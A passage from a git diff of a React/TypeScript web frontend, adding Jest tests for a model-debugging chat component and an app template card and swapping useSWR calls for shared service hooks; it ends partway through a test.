+jest.mock('@/app/components/app/store', () => ({
+  useStore: jest.fn((selector?: (state: { setShowAppConfigureFeaturesModal: typeof mockSetShowAppConfigureFeaturesModal }) => unknown) => {
+    if (typeof selector === 'function')
+      return selector({ setShowAppConfigureFeaturesModal: mockSetShowAppConfigureFeaturesModal })
+    return mockSetShowAppConfigureFeaturesModal
+  }),
+}))
+
+// Mock event emitter context
+jest.mock('@/context/event-emitter', () => ({
+  useEventEmitterContextContext: jest.fn(() => ({
+    eventEmitter: null,
+  })),
+}))
+
+// Mock toast context
+jest.mock('@/app/components/base/toast', () => ({
+  useToastContext: jest.fn(() => ({
+    notify: jest.fn(),
+  })),
+}))
+
+// Mock hooks/use-timestamp
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: jest.fn(() => ({
+    formatTime: jest.fn((timestamp: number) => new Date(timestamp).toLocaleString()),
+  })),
+}))
+
+// Mock audio player manager
+jest.mock('@/app/components/base/audio-btn/audio.player.manager', () => ({
+  AudioPlayerManager: {
+    getInstance: jest.fn(() => ({
+      getAudioPlayer: jest.fn(),
+      resetAudioPlayer: jest.fn(),
+    })),
+  },
+}))
+
+type MockChatProps = {
+  chatList?: ChatItem[]
+  isResponding?: boolean
+  onSend?: (message: string, files?: FileEntity[]) => void
+  onRegenerate?: (chatItem: ChatItem, editedQuestion?: { message: string; files?: FileEntity[] }) => void
+  onStopResponding?: () => void
+  suggestedQuestions?: string[]
+  questionIcon?: ReactNode
+  answerIcon?: ReactNode
+  onAnnotationAdded?: (annotationId: string, authorName: string, question: string, answer: string, index: number) => void
+  onAnnotationEdited?: (question: string, answer: string, index: number) => void
+  onAnnotationRemoved?: (index: number) => void
+  switchSibling?: (siblingMessageId: string) => void
+  onFeatureBarClick?: (state: boolean) => void
+}
+
+const mockFile: FileEntity = {
+  id: 'file-1',
+  name: 'test.png',
+  size: 123,
+  type: 'image/png',
+  progress: 100,
+  transferMethod: TransferMethod.local_file,
+  supportFileType: 'image',
+}
+
+// Mock Chat component (complex with many dependencies)
+// This is a pragmatic mock that tests the integration at DebugWithSingleModel level
+jest.mock('@/app/components/base/chat/chat', () => {
+  return function MockChat({
+    chatList,
+    isResponding,
+    onSend,
+    onRegenerate,
+    onStopResponding,
+    suggestedQuestions,
+    questionIcon,
+    answerIcon,
+    onAnnotationAdded,
+    onAnnotationEdited,
+    onAnnotationRemoved,
+    switchSibling,
+    onFeatureBarClick,
+  }: MockChatProps) {
+    const items = chatList || []
+    const suggested = suggestedQuestions ?? []
+    return (
+      <div data-testid="chat-component">
+        <div data-testid="chat-list">
+          {items.map((item: ChatItem) => (
+            <div key={item.id} data-testid={`chat-item-${item.id}`}>
+              {item.content}
+            </div>
+          ))}
+        </div>
+        {questionIcon && <div data-testid="question-icon">{questionIcon}</div>}
+        {answerIcon && <div data-testid="answer-icon">{answerIcon}</div>}
+        <textarea
+          data-testid="chat-input"
+          placeholder="Type a message"
+          onChange={() => {
+            // Simulate input change
+          }}
+        />
+        <button
+          data-testid="send-button"
+          onClick={() => onSend?.('test message', [])}
+          disabled={isResponding}
+        >
+          Send
+        </button>
+        <button
+          data-testid="send-with-files"
+          onClick={() => onSend?.('test message', [mockFile])}
+          disabled={isResponding}
+        >
+          Send With Files
+        </button>
+        {isResponding && (
+          <button data-testid="stop-button" onClick={onStopResponding}>
+            Stop
+          </button>
+        )}
+        {suggested.length > 0 && (
+          <div data-testid="suggested-questions">
+            {suggested.map((q: string, i: number) => (
+              <button key={i} onClick={() => onSend?.(q, [])}>
+                {q}
+              </button>
+            ))}
+          </div>
+        )}
+        {onRegenerate && (
+          <button
+            data-testid="regenerate-button"
+            onClick={() => onRegenerate({
+              id: 'msg-1',
+              content: 'Question',
+              isAnswer: false,
+              message_files: [],
+              parentMessageId: 'msg-0',
+            })}
+          >
+            Regenerate
+          </button>
+        )}
+        {switchSibling && (
+          <button
+            data-testid="switch-sibling-button"
+            onClick={() => switchSibling('sibling-1')}
+          >
+            Switch
+          </button>
+        )}
+        {onFeatureBarClick && (
+          <button
+            data-testid="feature-bar-button"
+            onClick={() => onFeatureBarClick(true)}
+          >
+            Features
+          </button>
+        )}
+        {onAnnotationAdded && (
+          <button
+            data-testid="add-annotation-button"
+            onClick={() => onAnnotationAdded('ann-1', 'user', 'q', 'a', 0)}
+          >
+            Add Annotation
+          </button>
+        )}
+        {onAnnotationEdited && (
+          <button
+            data-testid="edit-annotation-button"
+            onClick={() => onAnnotationEdited('q', 'a', 0)}
+          >
+            Edit Annotation
+          </button>
+        )}
+        {onAnnotationRemoved && (
+          <button
+            data-testid="remove-annotation-button"
+            onClick={() => onAnnotationRemoved(0)}
+          >
+            Remove Annotation
+          </button>
+        )}
+      </div>
+    )
+  }
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('DebugWithSingleModel', () => {
+  let ref: RefObject<DebugWithSingleModelRefType | null>
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    ref = createRef<DebugWithSingleModelRefType | null>()
+
+    const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+    const { useProviderContext } = require('@/context/provider-context')
+    const { useAppContext } = require('@/context/app-context')
+    const { useConfigFromDebugContext, useFormattingChangedSubscription } = require('../hooks')
+    const { useFeatures } = require('@/app/components/base/features/hooks') as { useFeatures: jest.Mock }
+
+    useDebugConfigurationContext.mockReturnValue(mockDebugConfigContext)
+    useProviderContext.mockReturnValue(mockProviderContext)
+    useAppContext.mockReturnValue(mockAppContext)
+    useConfigFromDebugContext.mockReturnValue(mockConfigFromDebugContext)
+    useFormattingChangedSubscription.mockReturnValue(undefined)
+    mockFeaturesState = { ...defaultFeatures }
+    useFeatures.mockImplementation((selector?: FeatureSelector) => {
+      if (typeof selector === 'function')
+        return selector({ features: mockFeaturesState })
+      return mockFeaturesState
+    })
+
+    // Reset mock implementations
+    mockFetchConversationMessages.mockResolvedValue({ data: [] })
+    mockFetchSuggestedQuestions.mockResolvedValue({ data: [] })
+    mockStopChatMessageResponding.mockResolvedValue({})
+  })
+
+  // Rendering Tests
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      // Verify Chat component is rendered
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+      expect(screen.getByTestId('chat-input')).toBeInTheDocument()
+      expect(screen.getByTestId('send-button')).toBeInTheDocument()
+    })
+
+    it('should render with custom checkCanSend prop', () => {
+      const checkCanSend = jest.fn(() => true)
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} checkCanSend={checkCanSend} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+  })
+
+  // Props Tests
+  describe('Props', () => {
+    it('should respect checkCanSend returning true', async () => {
+      const checkCanSend = jest.fn(() => true)
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} checkCanSend={checkCanSend} />)
+
+      const sendButton = screen.getByTestId('send-button')
+      fireEvent.click(sendButton)
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(checkCanSend).toHaveBeenCalled()
+        expect(ssePost).toHaveBeenCalled()
+      })
+
+      expect(ssePost.mock.calls[0][0]).toBe('apps/test-app-id/chat-messages')
+    })
+
+    it('should prevent send when checkCanSend returns false', async () => {
+      const checkCanSend = jest.fn(() => false)
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} checkCanSend={checkCanSend} />)
+
+      const sendButton = screen.getByTestId('send-button')
+      fireEvent.click(sendButton)
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(checkCanSend).toHaveBeenCalled()
+        expect(checkCanSend).toHaveReturnedWith(false)
+      })
+      expect(ssePost).not.toHaveBeenCalled()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should open feature configuration when feature bar is clicked', () => {
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      fireEvent.click(screen.getByTestId('feature-bar-button'))
+
+      expect(mockSetShowAppConfigureFeaturesModal).toHaveBeenCalledWith(true)
+    })
+  })
+
+  // Model Configuration Tests
+  describe('Model Configuration', () => {
+    it('should include opening features in request when enabled', async () => {
+      mockFeaturesState = {
+        ...defaultFeatures,
+        opening: { enabled: true, opening_statement: 'Hello!', suggested_questions: ['Q1'] },
+      }
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      fireEvent.click(screen.getByTestId('send-button'))
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(ssePost).toHaveBeenCalled()
+      })
+
+      const body = ssePost.mock.calls[0][1].body
+      expect(body.model_config.opening_statement).toBe('Hello!')
+      expect(body.model_config.suggested_questions).toEqual(['Q1'])
+    })
+
+    it('should omit opening statement when feature is disabled', async () => {
+      mockFeaturesState = {
+        ...defaultFeatures,
+        opening: { enabled: false, opening_statement: 'Should not appear', suggested_questions: ['Q1'] },
+      }
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      fireEvent.click(screen.getByTestId('send-button'))
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(ssePost).toHaveBeenCalled()
+      })
+
+      const body = ssePost.mock.calls[0][1].body
+      expect(body.model_config.opening_statement).toBe('')
+      expect(body.model_config.suggested_questions).toEqual([])
+    })
+
+    it('should handle model without vision support', () => {
+      const { useProviderContext } = require('@/context/provider-context')
+
+      useProviderContext.mockReturnValue(createMockProviderContext({
+        textGenerationModelList: [
+          {
+            provider: 'openai',
+            label: { en_US: 'OpenAI', zh_Hans: 'OpenAI' },
+            icon_small: { en_US: 'icon', zh_Hans: 'icon' },
+            icon_large: { en_US: 'icon', zh_Hans: 'icon' },
+            status: ModelStatusEnum.active,
+            models: [
+              {
+                model: 'gpt-3.5-turbo',
+                label: { en_US: 'GPT-3.5', zh_Hans: 'GPT-3.5' },
+                model_type: ModelTypeEnum.textGeneration,
+                features: [], // No vision support
+                fetch_from: ConfigurationMethodEnum.predefinedModel,
+                model_properties: {},
+                deprecated: false,
+                status: ModelStatusEnum.active,
+                load_balancing_enabled: false,
+              },
+            ],
+          },
+        ],
+      }))
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle missing model in provider list', () => {
+      const { useProviderContext } = require('@/context/provider-context')
+
+      useProviderContext.mockReturnValue(createMockProviderContext({
+        textGenerationModelList: [
+          {
+            provider: 'different-provider',
+            label: { en_US: 'Different Provider', zh_Hans: '不同提供商' },
+            icon_small: { en_US: 'icon', zh_Hans: 'icon' },
+            icon_large: { en_US: 'icon', zh_Hans: 'icon' },
+            status: ModelStatusEnum.active,
+            models: [],
+          },
+        ],
+      }))
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+  })
+
+  // Input Forms Tests
+  describe('Input Forms', () => {
+    it('should filter out api type prompt variables', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          configs: {
+            prompt_template: 'Test',
+            prompt_variables: [
+              { key: 'var1', name: 'Var 1', type: 'text', required: false },
+              { key: 'var2', name: 'Var 2', type: 'api', required: false },
+              { key: 'var3', name: 'Var 3', type: 'select', required: false },
+            ],
+          },
+        }),
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      // Component should render successfully with filtered variables
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle empty prompt variables', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          configs: {
+            prompt_template: 'Test',
+            prompt_variables: [],
+          },
+        }),
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+  })
+
+  // Tool Icons Tests
+  describe('Tool Icons', () => {
+    it('should map tool icons from collection list', () => {
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle empty tools list', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          agentConfig: {
+            enabled: false,
+            max_iteration: 5,
+            tools: [],
+            strategy: AgentStrategy.react,
+          },
+        }),
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle missing collection for tool', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          agentConfig: {
+            enabled: false,
+            max_iteration: 5,
+            tools: [{
+              tool_name: 'unknown-tool',
+              provider_id: 'unknown-provider',
+              provider_type: CollectionType.builtIn,
+              provider_name: 'unknown-provider',
+              tool_label: 'Unknown Tool',
+              tool_parameters: {},
+              enabled: true,
+            }],
+            strategy: AgentStrategy.react,
+          },
+        }),
+        collectionList: [],
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+  })
+
+  // Edge Cases
+  describe('Edge Cases', () => {
+    it('should handle empty inputs', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        inputs: {},
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle missing user profile', () => {
+      const { useAppContext } = require('@/context/app-context')
+
+      useAppContext.mockReturnValue({
+        ...mockAppContext,
+        userProfile: {
+          id: '',
+          avatar_url: '',
+          name: '',
+          email: '',
+        },
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+
+    it('should handle null completion params', () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        completionParams: {},
+      })
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(screen.getByTestId('chat-component')).toBeInTheDocument()
+    })
+  })
+
+  // Imperative Handle Tests
+  describe('Imperative Handle', () => {
+    it('should expose handleRestart method via ref', () => {
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      expect(ref.current).not.toBeNull()
+      expect(ref.current?.handleRestart).toBeDefined()
+      expect(typeof ref.current?.handleRestart).toBe('function')
+    })
+
+    it('should call handleRestart when invoked via ref', () => {
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      act(() => {
+        ref.current?.handleRestart()
+      })
+    })
+  })
+
+  // File Upload Tests
+  describe('File Upload', () => {
+    it('should not include files when vision is not supported', async () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+      const { useProviderContext } = require('@/context/provider-context')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          model_id: 'gpt-3.5-turbo',
+        }),
+      })
+
+      useProviderContext.mockReturnValue(createMockProviderContext({
+        textGenerationModelList: [
+          {
+            provider: 'openai',
+            label: { en_US: 'OpenAI', zh_Hans: 'OpenAI' },
+            icon_small: { en_US: 'icon', zh_Hans: 'icon' },
+            icon_large: { en_US: 'icon', zh_Hans: 'icon' },
+            status: ModelStatusEnum.active,
+            models: [
+              {
+                model: 'gpt-3.5-turbo',
+                label: { en_US: 'GPT-3.5', zh_Hans: 'GPT-3.5' },
+                model_type: ModelTypeEnum.textGeneration,
+                features: [], // No vision
+                fetch_from: ConfigurationMethodEnum.predefinedModel,
+                model_properties: {},
+                deprecated: false,
+                status: ModelStatusEnum.active,
+                load_balancing_enabled: false,
+              },
+            ],
+          },
+        ],
+      }))
+
+      mockFeaturesState = {
+        ...defaultFeatures,
+        file: { enabled: true },
+      }
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      fireEvent.click(screen.getByTestId('send-with-files'))
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(ssePost).toHaveBeenCalled()
+      })
+
+      const body = ssePost.mock.calls[0][1].body
+      expect(body.files).toEqual([])
+    })
+
+    it('should support files when vision is enabled', async () => {
+      const { useDebugConfigurationContext } = require('@/context/debug-configuration')
+      const { useProviderContext } = require('@/context/provider-context')
+
+      useDebugConfigurationContext.mockReturnValue({
+        ...mockDebugConfigContext,
+        modelConfig: createMockModelConfig({
+          model_id: 'gpt-4-vision',
+        }),
+      })
+
+      useProviderContext.mockReturnValue(createMockProviderContext({
+        textGenerationModelList: [
+          {
+            provider: 'openai',
+            label: { en_US: 'OpenAI', zh_Hans: 'OpenAI' },
+            icon_small: { en_US: 'icon', zh_Hans: 'icon' },
+            icon_large: { en_US: 'icon', zh_Hans: 'icon' },
+            status: ModelStatusEnum.active,
+            models: [
+              {
+                model: 'gpt-4-vision',
+                label: { en_US: 'GPT-4 Vision', zh_Hans: 'GPT-4 Vision' },
+                model_type: ModelTypeEnum.textGeneration,
+                features: [ModelFeatureEnum.vision],
+                fetch_from: ConfigurationMethodEnum.predefinedModel,
+                model_properties: {},
+                deprecated: false,
+                status: ModelStatusEnum.active,
+                load_balancing_enabled: false,
+              },
+            ],
+          },
+        ],
+      }))
+
+      mockFeaturesState = {
+        ...defaultFeatures,
+        file: { enabled: true },
+      }
+
+      render(<DebugWithSingleModel ref={ref as RefObject<DebugWithSingleModelRefType>} />)
+
+      fireEvent.click(screen.getByTestId('send-with-files'))
+
+      const { ssePost } = require('@/service/base') as { ssePost: jest.Mock }
+      await waitFor(() => {
+        expect(ssePost).toHaveBeenCalled()
+      })
+
+      const body = ssePost.mock.calls[0][1].body
+      expect(body.files).toHaveLength(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/index.tsx b/web/app/components/app/configuration/index.tsx
index 2537062e13..4da12319f2 100644
--- a/web/app/components/app/configuration/index.tsx
+++ b/web/app/components/app/configuration/index.tsx
@@ -1,7 +1,6 @@
 'use client'
 import type { FC } from 'react'
 import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react'
-import useSWR from 'swr'
 import { basePath } from '@/utils/var'
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
@@ -72,7 +71,7 @@ import type { Features as FeaturesData, FileUpload } from '@/app/components/base
 import { FILE_EXTS } from '@/app/components/base/prompt-editor/constants'
 import { SupportUploadFileTypes } from '@/app/components/workflow/types'
 import NewFeaturePanel from '@/app/components/base/features/new-feature-panel'
-import { fetchFileUploadConfig } from '@/service/common'
+import { useFileUploadConfig } from '@/service/use-common'
 import {
   correctModelProvider,
   correctToolProvider,
@@ -101,7 +100,7 @@ const Configuration: FC = () => {
     showAppConfigureFeaturesModal: state.showAppConfigureFeaturesModal,
     setShowAppConfigureFeaturesModal: state.setShowAppConfigureFeaturesModal,
   })))
-  const { data: fileUploadConfigResponse } = useSWR({ url: '/files/upload' }, fetchFileUploadConfig)
+  const { data: fileUploadConfigResponse } = useFileUploadConfig()
 
   const latestPublishedAt = useMemo(() => appDetail?.model_config?.updated_at, [appDetail])
   const [formattingChanged, setFormattingChanged] = useState(false)
diff --git a/web/app/components/app/configuration/prompt-value-panel/index.tsx b/web/app/components/app/configuration/prompt-value-panel/index.tsx
index 005f7f938f..9874664443 100644
--- a/web/app/components/app/configuration/prompt-value-panel/index.tsx
+++ b/web/app/components/app/configuration/prompt-value-panel/index.tsx
@@ -21,7 +21,7 @@ import FeatureBar from '@/app/components/base/features/new-feature-panel/feature
 import type { VisionFile, VisionSettings } from '@/types/app'
 import { DEFAULT_VALUE_MAX_LEN } from '@/config'
 import { useStore as useAppStore } from '@/app/components/app/store'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BoolInput from '@/app/components/workflow/nodes/_base/components/before-run-form/bool-input'
 
 export type IPromptValuePanelProps = {
diff --git a/web/app/components/app/configuration/tools/external-data-tool-modal.tsx b/web/app/components/app/configuration/tools/external-data-tool-modal.tsx
index 990e679c79..6f177643ae 100644
--- a/web/app/components/app/configuration/tools/external-data-tool-modal.tsx
+++ b/web/app/components/app/configuration/tools/external-data-tool-modal.tsx
@@ -1,6 +1,5 @@
 import type { FC } from 'react'
 import { useState } from 'react'
-import useSWR from 'swr'
 import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
 import FormGeneration from '@/app/components/base/features/new-feature-panel/moderation/form-generation'
@@ -9,7 +8,6 @@ import Button from '@/app/components/base/button'
 import EmojiPicker from '@/app/components/base/emoji-picker'
 import ApiBasedExtensionSelector from '@/app/components/header/account-setting/api-based-extension-page/selector'
 import { BookOpen01 } from '@/app/components/base/icons/src/vender/line/education'
-import { fetchCodeBasedExtensionList } from '@/service/common'
 import { SimpleSelect } from '@/app/components/base/select'
 import I18n from '@/context/i18n'
 import { LanguagesSupported } from '@/i18n-config/language'
@@ -21,6 +19,7 @@ import { useToastContext } from '@/app/components/base/toast'
 import AppIcon from '@/app/components/base/app-icon'
 import { noop } from 'lodash-es'
 import { useDocLink } from '@/context/i18n'
+import { useCodeBasedExtensions } from '@/service/use-common'
 
 const systemTypes = ['api']
 type ExternalDataToolModalProps = {
@@ -46,10 +45,7 @@ const ExternalDataToolModal: FC<ExternalDataToolModalProps> = ({
   const { locale } = useContext(I18n)
   const [localeData, setLocaleData] = useState(data.type ? data : { ...data, type: 'api' })
   const [showEmojiPicker, setShowEmojiPicker] = useState(false)
-  const { data: codeBasedExtensionList } = useSWR(
-    '/code-based-extension?module=external_data_tool',
-    fetchCodeBasedExtensionList,
-  )
+  const { data: codeBasedExtensionList } = useCodeBasedExtensions('external_data_tool')
 
   const providers: Provider[] = [
     {
diff --git a/web/app/components/app/create-app-dialog/app-card/index.spec.tsx b/web/app/components/app/create-app-dialog/app-card/index.spec.tsx
new file mode 100644
index 0000000000..3122f06ec3
--- /dev/null
+++ b/web/app/components/app/create-app-dialog/app-card/index.spec.tsx
@@ -0,0 +1,347 @@
+import { render, screen, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AppCard from './index'
+import type { AppIconType } from '@/types/app'
+import { AppModeEnum } from '@/types/app'
+import type { App } from '@/models/explore'
+
+jest.mock('@heroicons/react/20/solid', () => ({
+  PlusIcon: ({ className }: any) => <div data-testid="plus-icon" className={className} aria-label="Add icon">+</div>,
+}))
+
+const mockApp: App = {
+  app: {
+    id: 'test-app-id',
+    mode: AppModeEnum.CHAT,
+    icon_type: 'emoji' as AppIconType,
+    icon: '🤖',
+    icon_background: '#FFEAD5',
+    icon_url: '',
+    name: 'Test Chat App',
+    description: 'A test chat application for demonstration purposes',
+    use_icon_as_answer_icon: false,
+  },
+  app_id: 'test-app-id',
+  description: 'A comprehensive chat application template',
+  copyright: 'Test Corp',
+  privacy_policy: null,
+  custom_disclaimer: null,
+  category: 'Assistant',
+  position: 1,
+  is_listed: true,
+  install_count: 100,
+  installed: false,
+  editable: true,
+  is_agent: false,
+}
+
+describe('AppCard', () => {
+  const defaultProps = {
+    app: mockApp,
+    canCreate: true,
+    onCreate: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('em-emoji')).toBeInTheDocument()
+      expect(screen.getByText('Test Chat App')).toBeInTheDocument()
+      expect(screen.getByText(mockApp.description)).toBeInTheDocument()
+    })
+
+    it('should render app type icon and label', () => {
+      const { container } = render(<AppCard {...defaultProps} />)
+
+      expect(container.querySelector('svg')).toBeInTheDocument()
+      expect(screen.getByText('app.typeSelector.chatbot')).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    describe('canCreate behavior', () => {
+      it('should show create button when canCreate is true', () => {
+        render(<AppCard {...defaultProps} canCreate={true} />)
+
+        const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+        expect(button).toBeInTheDocument()
+      })
+
+      it('should hide create button when canCreate is false', () => {
+        render(<AppCard {...defaultProps} canCreate={false} />)
+
+        const button = screen.queryByRole('button', { name: /app\.newApp\.useTemplate/ })
+        expect(button).not.toBeInTheDocument()
+      })
+    })
+
+    it('should display app name from appBasicInfo', () => {
+      const customApp = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'Custom App Name',
+        },
+      }
+      render(<AppCard {...defaultProps} app={customApp} />)
+
+      expect(screen.getByText('Custom App Name')).toBeInTheDocument()
+    })
+
+    it('should display app description from app level', () => {
+      const customApp = {
+        ...mockApp,
+        description: 'Custom description for the app',
+      }
+      render(<AppCard {...defaultProps} app={customApp} />)
+
+      expect(screen.getByText('Custom description for the app')).toBeInTheDocument()
+    })
+
+    it('should truncate long app names', () => {
+      const longNameApp = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          name: 'This is a very long app name that should be truncated with line-clamp-1',
+        },
+      }
+      render(<AppCard {...defaultProps} app={longNameApp} />)
+
+      const nameElement = screen.getByTitle('This is a very long app name that should be truncated with line-clamp-1')
+      expect(nameElement).toBeInTheDocument()
+    })
+  })
+
+  describe('App Modes - Data Driven Tests', () => {
+    const testCases = [
+      {
+        mode: AppModeEnum.CHAT,
+        expectedLabel: 'app.typeSelector.chatbot',
+        description: 'Chat application mode',
+      },
+      {
+        mode: AppModeEnum.AGENT_CHAT,
+        expectedLabel: 'app.typeSelector.agent',
+        description: 'Agent chat mode',
+      },
+      {
+        mode: AppModeEnum.COMPLETION,
+        expectedLabel: 'app.typeSelector.completion',
+        description: 'Completion mode',
+      },
+      {
+        mode: AppModeEnum.ADVANCED_CHAT,
+        expectedLabel: 'app.typeSelector.advanced',
+        description: 'Advanced chat mode',
+      },
+      {
+        mode: AppModeEnum.WORKFLOW,
+        expectedLabel: 'app.typeSelector.workflow',
+        description: 'Workflow mode',
+      },
+    ]
+
+    testCases.forEach(({ mode, expectedLabel, description }) => {
+      it(`should display correct type label for ${description}`, () => {
+        const appWithMode = {
+          ...mockApp,
+          app: {
+            ...mockApp.app,
+            mode,
+          },
+        }
+        render(<AppCard {...defaultProps} app={appWithMode} />)
+
+        expect(screen.getByText(expectedLabel)).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Icon Type Tests', () => {
+    it('should render emoji icon without image element', () => {
+      const appWithIcon = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          icon_type: 'emoji' as AppIconType,
+          icon: '🤖',
+        },
+      }
+      const { container } = render(<AppCard {...defaultProps} app={appWithIcon} />)
+
+      const card = container.firstElementChild as HTMLElement
+      expect(within(card).queryByRole('img', { name: 'app icon' })).not.toBeInTheDocument()
+      expect(card.querySelector('em-emoji')).toBeInTheDocument()
+    })
+
+    it('should prioritize icon_url when both icon and icon_url are provided', () => {
+      const appWithImageUrl = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
+          icon_type: 'image' as AppIconType,
+          icon: 'local-icon.png',
+          icon_url: 'https://example.com/remote-icon.png',
+        },
+      }
+      render(<AppCard {...defaultProps} app={appWithImageUrl} />)
+
+      expect(screen.getByRole('img', { name: 'app icon' })).toHaveAttribute('src', 'https://example.com/remote-icon.png')
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call onCreate when create button is clicked', async () => {
+      const mockOnCreate = jest.fn()
+      render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ })
+      await userEvent.click(button)
+      expect(mockOnCreate).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle click on card itself', async () => {
+      const mockOnCreate = jest.fn()
+      const { container } = render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      const card = container.firstElementChild as HTMLElement
+      await userEvent.click(card)
+      // Note: Card click doesn't trigger onCreate, only the button does
+      expect(mockOnCreate).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Keyboard Accessibility', () => {
+    it('should allow the create button to be focused', async () => {
+      const mockOnCreate = jest.fn()
+      render(<AppCard {...defaultProps} onCreate={mockOnCreate} />)
+
+      await userEvent.tab()
+      const button = screen.getByRole('button', { name: /app\.newApp\.useTemplate/ }) as HTMLButtonElement
+
+      // Test that button can be focused
+      expect(button).toHaveFocus()
+
+      // Test click event works (keyboard events on buttons typically trigger click)
+      await userEvent.click(button)
+      expect(mockOnCreate).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle app with null icon_type', () => {
+      const appWithNullIcon = {
+        ...mockApp,
+        app: {
+          ...mockApp.app,
